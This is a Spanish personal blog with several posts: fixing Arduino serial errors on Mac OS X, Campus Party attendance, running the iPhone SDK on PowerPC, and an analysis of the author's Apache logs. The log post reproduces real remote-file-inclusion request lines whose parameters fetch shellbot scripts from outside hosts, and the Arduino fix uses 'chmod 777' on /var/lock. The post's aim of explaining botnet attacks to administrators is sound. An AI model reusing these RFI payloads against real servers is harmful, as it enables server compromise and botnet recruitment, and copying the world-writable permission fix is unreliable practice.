Hace un tiempo que andaba buscando uno de estos cacharritos para aprovechar las ofertas de datos que ofrece la operadora simyo y cuando por fin encontré alguno no pude liberarlo, principalmente porque la mayoría de tutoriales que se han escrito (si no todos) carecían de un paso importantísimo sin el cual no se consigue nada.

Tras mucho porbar y leer he llegado por fin a la comprensión y por lo tanto me he decidido a escribir mi propio tutorial, pero al ser demasiado extenso en lugar de publicarlo como entrada, lo publico como documento PDF descargable aqui.

Hace unos días un amigo del grupo de usuarios de linux de la Universidad Politécnica de Valencia (PoLinux) me dejó un arduino y un modulo ethernet para Arduino para que lo trastease un poco, pero no pude hacerlo funcionar en Mac OS X durante un tiempo y no supe porque hasta que ayer me puse en serio a arreglarlo.

El primer fallo con el que me topaba era que al lanzar Arduino 12 no me dejaba seleccionar el puerto serie en el que se encontraba Arduino porque la opcion ‘Serial Port’ del menú ‘Tools’ no era seleccionable.

Lanzando Arduino 12 desde un terminal pude leer:

karman@Usagi ~ $ /Applications/Arduino/Arduino\ 12.app/Contents/MacOS/Arduino

Experimental: JNI_OnLoad called.
Stable Library
=========================================
Native lib Version = RXTX-2.0-7
Java lib Version = RXTX-2.0-7
java.lang.ClassCastException: gnu.io.RXTXCommDriver thrown while loading gnu.io.RXTXCommDriver
java.lang.ClassCastException: gnu.io.RXTXCommDriver thrown while loading gnu.io.RXTXCommDriver

Este error que por mas que busqué no encontré como solucionarlo lo acabé arreglando casi por casualidad cuando se me ocurrió actualizar la librería RXTX de RXTX-2.0-7 a RXTX-2.1-7.

Ahora ya podía seleccionar el puerto para tratar de programar Arduino pero a la hora de transferir el programa (después de compilarlo) me daba otro error bastante extraño:

Binary sketch size: 1248 bytes (of a 14336 byte maximum)
check_group_uucp(): error testing lock file creation Error details:Permission deniedcheck_lock_status: No permission to create lock file.
please see: How can I use Lock Files with rxtx? in INSTALL

processing.app.SerialException: Serial port ‘/dev/tty.usbserial-A9009gOS’ already in use. Try quiting any programs that may be using it.

Este otro error era bastante extraño ya que mediante fuser pude ver que nadie estaba usando el dispositivo. Según parece no tiene una ruta correcta de lock por lo que es incapaz de saber si el puerto está en uso o no. Para arreglarlo bastaba con:

karman@Usagi ~ $ sudo mkdir /var/lock
karman@Usagi ~ $ sudo chmod 777 /var/lock

Y listo, ya pude programar Arduino desde mi Mac.

Aqui dejo un ejemplo de como escribir un SOS en el led que viene integrado en la propia placa. DESCARGAR

Pues sí, este año también asistiré a la Campus Party, la quinta edición a la que tengo el gusto de asistir.

La primera y la segunda vez que asistí (2004 y 2005 respectivamente) fué de la mano de la desaparecida ONG de E3 Futura llamada Cibervoluntarios, una asociación que se dedicaba a impartir clases de iniciación a los ordenadores y a internet a los colectivos marginados de este ámbito. La primera vez que asistí fué en la última vez que se celebró en Ciudad de las Artes y de las Ciencias de Valencia y la segunda vez era la primera que se celebraba en la Feria de Valencia.

La tercera vez accedí como periodista de El Diario de Valencia, un perdiodico local en el que trabajaba el verano del 2006 sustituyendo en periodo de vacaciones al jefe de mantenimiento.

La cuarta vez que asistí al evento fue gracias a la asociación IEEE de la Universidad Politécnica de Valencia quien participó en la organización del area de Software Libre con, entre otras actividades, un servicio de asistencia técnico a usuarios de GNU/Linux que tuvieran cualquier tipo de problema con su SO.

Este año iré con Simauria para realizar el cableado de todos y cada uno de los puestos de la Campus Party junto a otras 19 personas creando así la red neurálgica que da vida al evento y también para proporcionar la asistencia técnica a que todos hemos ido alguna vez a pedir ayuda con nuestro puesto :P

La cuenta atrás ya corre y queda menos para la campus. ¿Quien asistirá?

Un saludo

Hace un par de días me bajé todo ilusionado de la página de apple el SDK del iPod Touch/iPhone (en adelante al ser lo mismo diré solamente iPhone) para desarrollar aplicaciones en ellos.

Desafortunadamente para mi apple por algún motivo (imagino que forzar un cambio de plataforma) no deja usar estas herramientas de desarrollo para el iPhone en plataformas PowerPC (ppc) por lo que pensé que tendría que ir pensando en comprar un nuevo Mac Book Pro.

Gracias a Badblody descubrí que hay una manera de hacer funcionar el SDK de apple en plataformas PPC sin hacer muchas trampas ya que todo lo necesario para hacerlo funcionar se encuentra en el SDK, solo que viene por así decirlo desconfigurado.

A la hora de compilar una aplicación se compila dos veces, una en ARM para el iPhone y otra en i386 para el emulador de entorno iPhone y aqui es donde reside el problema principal: Xcode no ha sido configurado para compilar la aplicación del emulador en PPC.

Quienes no sepan de que se trata, el emulador de etorno iPhone es un medio de probar si una aplicación funciona correctamente sin necesidad de ser probada sobre el mismo iPhone. De esta manera se puede desarrollar cuanto se quiera sin necesidad de tener que estar constantemente copiando el resultado en el dispositivo móvil para comprobar si funciona.

Estos son los pasos que hay que seguir para instalar el iPhone SDK en un PPC:

1. Descargar el iPhone SDK de la página web de apple aqui.
2. Montar la imagen e iniciar la instalación normal ejecutando ‘iPhone SDK’.
3. Nos aparecerá una ventana que nos dejará que sofware escojer a instalar con unas opciones predeterminadas, las dejamos como están y continuamos la instalación (Aqui es donde no se nos deja seleccionar iPhone. No pasa nada, continuamos)
4. Dejamos que se instale cómodamente Xcode. Si ya tenemos Xcode instalado este instalador actualizará nuestra versión.
5. Una vez haya acabado el instalador si ejecutamos Xcode veremos que a la hora de crear un nuevo proyecto no nos aparecen opciones de proyectos para el iPhone, por lo que hay que instalar manualmente los paquetes del iPhone que se encuentran en la carpeta ‘Packages’ dentro de la imágen montada y que empiezan por iPhone (iPhone*.pkg) cambiando el directorio de destino de la instalacion para que sea /Developer en lugar del ‘Default’ (En algunos sitios he visto que no empiezan por iPhone* si no por Aspen*, supongo que será de una vieja versión del SDK).
6. En este punto si en Xcode creamos un proyecto (ahora sí que podemos) y tratamos de compilarlo nos dará un error de parámetros (’ARCH=ppc’ invalido, usar ‘ARCH=i386′) porque no está configurado para PPC. Para arreglar este error hay que entrar en el directorio ‘/Developer/Platforms/iPhoneSimulator.platform/Developer/Library/Xcode/Specifications’ hacer una copia de seguridad del archivo ‘iPhone Simulator Architectures.xcspec’ y descargamos este para ponerlo en el mismo directorio: iPhone Simulator Architectures.xcspec.

Este archivo le dice al compilador lo que necesita saber para construir aplicaciones en nuestro entorno. ¡Felicidades! Ahora ya podemos compilar y emular aplicaciones en nuestro bien amado PPC sin tener que comprar un intel.

Fuente: http://www.tbradford.org/2008/03/iphone-sdk-beta-2-possible-ppc-fix.html

Anoche un amigo y yo nos aburriamos y ya que ambos tenemos nuestras páginas en un server propio en casita decidimos echarle un ojo a nuestros registros de apache:

# grep txt access.log | grep -v robots

Al resultado de ejecutar esta busqueda aparecieron numerosas peticiones GET con el contenido ‘txt’ en su interior que llamaban a archivos que no estaban en mi directorio web, si no que eran intentos en su gran mayoría de convertir a un host en un zombie para alguna BotNet mediante algun bug RFI.

Las BotNets (o Red de bots o robots) son comunmente servidores bien privados bien públicos de IRC (Internet Relay Chat) que se emplean como HUBs de Zombies que normalmente se encuentran bajo las órdenes del script kiddie mas inútil que puedas encontrarte.

Un Zombie es una máquina que ha sido comprometida y que ejecuta código malicioso a la espera de instrucciones de su dueño (el “hacker”). Los Zombies que suelen conectar y formar BotNets corren un programa script (mayormente perl) que simula ser una persona que se conecta a un IRC específico y que cumple instrucciones de una determinada persona, normalmente identificada por el nick (pseudónimo) o por el host (Dirección IP).

Estos programas reciben el nombre de Shellbot, ya que son Bots que ejecutan instrucciones en la shell de la maquina víctima.A continuación pongo y enlazo mirrors de algunos bots y RFIs para infectar máquinas que he encontrado en la búsqueda anteriormente descrita:

• 201.130.79.46 – - [05/Apr/2008:19:22:03 +0200] “GET /admin/addons/archive/archive.php?adminfolder=http://w0rms.by.ru/ddos.txt? HTTP/1.1″ 404 539 “-” “libwww-perl/5.79″ “-” [mirror] (ShellBot)
• 72.36.179.98 – - [06/May/2008:01:52:29 +0200] “GET /blog/descargas/bot.txt/port.php?content=http://www.cdpm3.com/id.txt? HTTP/1.1″ 404 539 “-” “libwww-perl/5.810″ “-” [mirror] (RFI)
• 77.48.71.72 – - [08/Jun/2008:16:02:10 +0200] “GET /blog/descargas/bot.txt/port.php?content=http://www.onyxclub.ru/administrator/components/com_remository/if.txt? HTTP/1.1″ 404 539 “-” “libwww-perl/5.79″ “-” [mirror] (RFI)
• 69.59.184.132 – - [09/Jun/2008:04:16:18 +0200] “GET //viewtopic.php?p=762//viewtopic.php?p=45339//html&highlight=ü7.include($_GET[a]),exit.ü7&a=http://www.patrioticusa.us/poll/…/test2.txt? HTTP/1.1″ 404 308 “-” “Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)” [mirror] (RFI)
• De leer este archivo (el anterior) sale el texto $url.’superscanner2.txt’, se copia el nombre del archivo en la url quedando http://www.patrioticusa.us/poll/…/superscanner2.txt. [mirror] (ShellBot)

Algunos jaquers infectan directamente con un shellbot, otros ejecutan un php para que luego este último ejecute el shellbot o un deface y los que menos saben programar simplemente suben un único script php como este que les deja ejecutar cuanto quieran siempre que PHP esté mal configurado y que se ve así:

A diario estos ataques se automatizan y se suceden ya que muchos de estos ShellBots actuan como gusanos, se copian en el public_html o www de un servidor al que hayan infectado y acto seguido escanean el mundo en busca de mas víctimas a las que infectar, y lo peor es que la gran mayoría de las botnets existentes se emplean para realizar ataques de denegación de servicio distribuidos (DDoS) por lo que hay que tener cuidado y cuidarse las espaldas si eres administrador de alguna página y/o servidor.